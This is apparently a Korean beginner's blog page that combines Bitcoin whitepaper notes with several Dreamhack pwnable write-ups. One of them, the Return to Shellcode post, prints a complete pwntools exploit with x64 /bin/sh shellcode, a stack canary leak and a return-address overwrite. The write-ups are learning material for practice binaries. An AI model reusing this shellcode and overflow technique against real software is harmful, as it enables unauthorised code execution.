이 네트워크가 거래를 해시한 타임스탬프를 일련의 해시 기반 작업증명 proof-of-work 체인에 찍고, 이 작업증명을 재수행하지 않고서는 변경할 수 없는 기록을 생성한다. 가장 긴 체인은 목격 된 사건의 순서를 증명하는 동시에 그게 가장 큰 CPU 파워 풀에서 비롯했음을 증명하는 역할을 한다. 이 네트워크를 공격하는 데 협력하지 않는 노드가 CPU 파워 대부분을 제어하는 한, 가장 긴 체인을 생성하며 공격자를 압도할 것이다.

 

쉽게 말해, 거래를 해시한 타임스탬프(시간을 기록한다 보다는 시간 순서를 기록한다 라고 봐야함.) 를 해시 증명 기반의 PoW(Proof of Work:작업증명)를 통해 PoW를 재수행하지 않고는 변경이 불가능한 기록을 생성한다.

PoW라는 기술에 대해서는 추후 더 자세히 알아보도록 하자.(내용이 길어질 듯 하여...)

체인의 가장 긴 체인에서는 시간순서를 증명하며, 이는 가장 강한 CPU 파워를 가진 풀에서 비롯된 체인임을 증명한다.

다른 해설에 따르면, 네트워크 공격에 협력하지 않는 노드(채굴자 또는 네트워크 구성원)이 과반 이상의 CPU 파워(또는 해시레이트)를 가진 상황이라면, 이 노드들이 가장 긴 체인을 만들어내며, 이는 공격자보다 앞선다고 한다.

 

PoW와 작업증명에 대한 내용은 추후 다시 공부해서 추가로 올리도록 하겠다.

계속 해보자.

이 네트워크 자체는 최소한의 구조만 요구한다. 메 시지는 최선의 노력을 기반으로 전파되고(Broadcast),
노드는 네트워크를 마음대로 떠났다가 재합류 할 수 있으며,
자신이 빠진 사이에 일어난 일의 증명으로 가장 긴 작업증명 체인을 받아들인다

 

초록의 가장 마지막 부분이다. 이 부분에는 기술적인 설명이 없기 때문에, 워딩 그대로 받아들이면 될 듯 하다.

 

3. 마치며..

우선 이 글에서는 비트코인의 목적과 같은 중요한 내용 및 앞으로 등장하게 될 개념들에 대해 알아보았다. 

처음으로 이런 리서칭 글을 작성해서 가독성이 어떨지는 모르겠지만,,, 노력해보겠습니다,,,

 

앞으로 쓸 포스팅 목록(이번 글과 관련된):

1. PoW에 대한 기술적 내용

2. 작업증명에 대한 내용 (1번과 합칠 수 있음)

3. 다음 장.(백서 이어서 계속.) 

반응형
반응형

포너블을 하다가 system함수가 종종 버그가 터지곤 한다. 

 

이렇게 system함수로 잘 진입을 했는데

이런 이상한 함수로 /bin/sh를 넘겨주면서 system함수를 실행할 수 없게 되는 경우가 있다. 

이걸 좀 고쳐보려고 한~~참동안 궁리해본 결과 ....

 

execl함수를 쓰기로 했다!! 

평소에는 execve, system 이 두 함수만 생각하고있었어서 사용하기 복잡한 execve를 써야하나 ... 싶었는데

그냥 execl쓰면 된다.

 

사용법

execve( binsh 주소, binsh 주소, NULL);

이렇게 그냥 주면 된다.

어짜피 포너블에서 binsh이든, cat이든 사용하려면 문자열 주소는 알고있을테니까 그거 넣으면 되고, 마지막 인자로 p32(0)이나, p64(0) 넣으면 되는거니까, bof 크기만 충분하다면 사용해봐도 좋을 것 같다!

끝.

반응형
반응형

포린이의 첫 RTL문제 시도... 정답을 보면서 하면 당연히 실력이 늘지 않으니 몇시간동안 끙끙대면서 푸는게 참 힘든 것 같다. ㅜㅜ

 

(문제 출처 : https://dreamhack.io/wargame/challenges/353/ )

 

Return to Library

Description Exploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io

 

일단 국룰 체크 먼저.

카나리, NX 보호기법이 사용되었다. 기본적으로 지금 풀고 있는 문제는 전부 bof 관련된 문제이므로, canary leak을 해주어야 할 것이고, NX로 인해 스택 영역에 실행권한이 없을 것이므로 쉘코드를 실행할 수 없을 것. 따라서 system("/bin/sh") 을 실행할 수 있도록 함수의 주소, 문자열의 주소, 가젯 등을 이용해야 할 것이다.

 

C 코드를 살펴보도록 하자.

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

문제가 친절하다. "/bin/sh"의 주소도 주고, system 함수도 사용해주면서 system 함수도 사용해주면서 system 함수를 이용할 수 있도록 한다.

그 다음으로는, read함수를 통해 buf에 값을 써주고 출력해주면서 canary leak을 해줄 수 있도록 한다.

그 다음으로는, return address 를 overwrite해주는, 즉, 또다시 bof를 이용해야한다. 이를 통해 RTL을 성공적으로 마칠 수 있을 것 같다. 

 

그렇다면 공격 시나리오는 Canary Leak -> get system address, get /bin/sh address, geet gadget -> Return To Library 

이렇게 볼 수 있을 것 같다.

Canary Leak

카나리 릭은 지금까지 많이 해왔으니까... 간단하게 빠르게 넘어가자.

read함수에서 buf 배열을 이용하는데, read함수를 사용하는 곳으로 가보면

buf 배열이 [rbp-0x40]에 있는 것을 알 수 있다. 그렇다면 SFP(RBP)와 BUF의 사이에는 dummy data 8바이트와 canary 8바이트가 있을 것이다. 이를 바탕으로 페이로드를 구성해보자.

이렇게 카나리를 Leak 할 수 있겠다.

 

RTL 정보 추출하기.

위 코드에서 "/bin/sh"이라는 문자열도 사용되었고, system함수도 사용되었으므로 둘 다 메모리상에 주소가 존재할 것이다. 한번 찾아보자.

/bin/sh 전역변수의 주소
plt 테이블

이로써 필요한 정보를 수집하는 데 성공했다. 이제 이걸 어떻게 적용하면 될까?

이렇게 페이로드를 구성하면 된다.

 

SFP(rbp)를 덮는 것 까지는 이전과 같은데, RET 자리에 ret gadget을 두었다. 이를 통해 그 다음 명령어들까지 실행을 할 수 있다. (사실 이 가젯까지는 잘 이해를 하지 못했는데, 이거 없이 실행할 때 오류가 나면 이걸 넣어서 해결한다고 하길래)

 

<가젯 찾는 법>

 

그 다음으로는 pop rdi, ret이 있다. 이 명령어를 실행하면, "/bin/sh"이 저장된 주소를 pop 해서 rdi에 저장한다.

다들 rdi가 뭔지는 잘 알 것이다. 바로 함수의 첫 번째 인자로 들어가는 녀석이다. 인자까지 준비를 완료했으니, ret 가젯이 실행되면, 인자가 system 함수로 들어가 최종적으로 system("/bin/sh") 명령이 실행되는 것이다.

 

익스플로잇 코드

 

실행해주면.....

성공이다..!

반응형
반응형

포너블 공부 2일차. 여전히 카나리 릭, 파이썬과 싸우고 있다.

파이썬 문법, pwntools 모듈 등이 나에겐 너무 생소한지라 아직까진 어려운데 어쩌겠습니까... 해야죠 네 ...

 

이번 문제도 역시 Canary Leak을 이용해 풀어야 하는 문제이다. 문제를 한번 자세히 보도록 하자.

(문제 출처 : https://dreamhack.io/wargame/challenges/33 )

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다. 저기서 등장하는 SSP는 stack smashing protocol이다.

 

문제를 보면

get_shell()함수를 실행시키는 것을 목적으로 하면 될 것 같다.

main()함수를 보면, 

box[0x40], name[0x40], selset[2], idx, name_len이라는 변수를 선언해주고, 

while(1) 안에서 switch_case 문을 실행해준다.

switch안에 들어가는 인자는 read함수에서 받아오니 이건 p.send를 써야하겠다... 라는 생각을 하며 진행해보도록 하자. 

총 세 가지 기능이 구현되어있는데,

F : fill the box

P : print box value

E : fill name buffer and return.

이렇게 되어있다. 이제 checksec을 해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}
void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
// target
void get_shell()
{
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx)
{
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu()
{
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[])
{
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while (1)
    {
        menu();
        read(0, select, 2);
        switch (select[0])
        {
        case 'F':
            printf("box input : ");
            read(0, box, sizeof(box));
            break;
        case 'P':
            printf("Element index : ");
            scanf("%d", &idx);
            print_box(box, idx);
            break;
        case 'E':
            printf("Name Size : ");
            scanf("%d", &name_len);
            printf("Name : ");
            read(0, name, name_len);
            return 0;
        default:
            break;
        }
    }
}

 

Canary가 적용되어있으니 어쨋든 Leak을 해주어야할 것 같다. Canary Leak을 하기 위해서는(다른 방법은 아직 모른다..) 스택의 데이터를 출력해주는 함수가 필요한데, 딱 적당하게 P 기능에서 이를 수행해준다.

P 기능 내의 print_box를 살펴보자.

void print_box(unsigned char *box, int idx)
{printf("Element of index %d is : %02x\n", idx, box[idx]);}

box[idx]는 사실 *(box + idx) 라고 볼 수 있는거니까, box 배열의 base address에서부터 idx만큼 떨어져있는 곳의 데이터를 말하는 것이다. 따라서 이를 이용하면 Canary 값을 읽을 수 있다.

그럼 한번 스택 상황을 보러 가볼까?

일단 처음에, 공간을 0x94만큼 잡아주는 것을 볼 수 있다.

pwndbg를 이용해 까보았더니  cmp eax, 0x50 즉, 'P'에 해당하면, <main + 192>로 jmp 해준다. <main+192>부터 보면, [ebp-0x88]의 주소를 PUSH해서 print_box로 넘겨주는 것을 볼수 있다. 그렇다면, box의 주소는 0x88일테니까,

그림을 그려봐야겠다.

이런 느낌일 것이다.

그렇다면, P기능에서 81개의 아무 데이터나 넣고, 그 다음 3바이트의 canary 값을 받아오면 canary leak을 할 수 있겠다.

exploit 코드

그리고, 일단 get_shell의 주소를 받아와야한다.

exploit 코드

이렇게 했으면, canary 값도 받아왔고, get_shell의 주소도 구했으니 RET 주소에 get_shell의 주소만 넣으면 되겠다.

exploit 코드

이렇게 구성하면 될 것 같다.

이제 실행을 해볼까?

히히 야호~ 성공했다. 끗.

반응형
반응형

하루만에 너무 많은걸 해버렸다... 갓 포너블 시작한 포린이에게는 빡센 것 같다.

바로 시작해보자. 

이번 문제는 Return to Shellcode 라는 문제이다. 

(문제 출처 : https://dreamhack.io/wargame/challenges/352 )

 

Return to Shellcode

Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

제목에서도 알 수 있듯, Shell Code를 사용하는 문제이고, 이게 중요한 개념인가보다.

(나의 경우에는 너무나도 중요했다 ...발...)

 

우선 먼저 짚고 넘어가야 할 점이 있다. 바로 Shell Code는 32비트와 64비트 환경에서 다르다는 것이다! 당연하지. 근데 나는 그걸 못알아채고 한시간동안 삽질을 했다 ㅋㅋ 하... 여러분은 그러지 않길~ ^^

Shell Code in x64

"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

이제 시작해보자. 

우선 국룰 절차 밟기.

64bit, SYSV, Canary 정도 체크하고 가면 될 것 같다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

코드가 이전 문제에 비하면 상당히 길다.

어떻게 실행되는지 한번 실행해보자.

buf의 주소를 주는 것을 보니, BOF를 일으켜야하는 것으로 보이고, distance between buf and $rbp를 주는 것을 주목해야겠다. 이 문제가 Canary 단원 안에 속해있다는 것을 생각해볼 때, 저 distance에 집중해야겠다.

기본적인 canary의 개념을 짚고 가자면,

이렇게 생각할 수 있겠다. 즉, sfp와 ret의 무결성 보장을 위해 canary의 값이 변경되었는지를 확인하는 것이다. 따라서 canary의 값을 알아내기 위해 해야할 일은 bof를 통해 canary 값을 leak 해야 하는 것인 것 같다.(아무래도 처음부터 더 어려운건 안시키겠지...)

BUF 주소 leak

char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

이 부분을 보면, p.recvuntil("buf: ") 해서 recv(14)로 buf 값을 가져올 수 있고, distance도 구할 수 있을 것이다.

 

해당 부분의 exploit 코드

 

Canary Leak

그 다음으로 canary leak을 해봐야 하겠다.

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
 
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

문제에서 친절하게도 안내를 해준다 ㅋㅅㅋ

그렇다면 해줘야지.

 

buf에 distance - 8 (8인 이유는 canary가 들어갈 자리 때문.) 까지 다른 데이터로 채워주고, canary의 NULL문자 부분까지 하나만 더 "A"로 채워주어 canary 정보를 leak 해보았다.

canary Leak

이렇게 하면 canary까지 가져왔으니, 남은건 BOF 뿐이다.

BOF

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

위에를 처리하고나니 이젠 귀여운 BOF만 남아있다. 바로 익스 해주자.

BOF 코드

 

새로운 함수 몇 가지를 공부했는데, ljust라는 굉장한 녀석이 있다. 코드를 보면 뭐하는 친구일지 이해가 될 것이다.

 

Exploit code

from pwn import *

p = remote('host3.dreamhack.games', portNum)

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

p.recvuntil("Address of the buf: ")
buf_addr = int(p.recv(14), 16)

p.recvuntil("$rbp: ")
distance = int(p.recv(2))

# canary leak
p.recvuntil("Input: ")
payload = b"A" * (distance - 8)
payload += b"B"
p.send(payload)
p.recvuntil(payload)
canary = b'\x00' + p.recv(7)

# exploit
print(p.recvuntil("Input: "))
payload = shellcode.ljust(distance - 8, b'\x90')
payload += canary
payload += b"\x90"*8    
payload += p64(buf_addr)
p.sendline(payload)

p.interactive()

 

이대로 exploit 해주면,

짜잔~ 성공이다 !! ㅎㅎ

기초 BOF를 벗어나 새로운 canary leak을 해보는 재미난 경험이었다~

포린이 포너블 1일차 끗.

반응형

+ Recent posts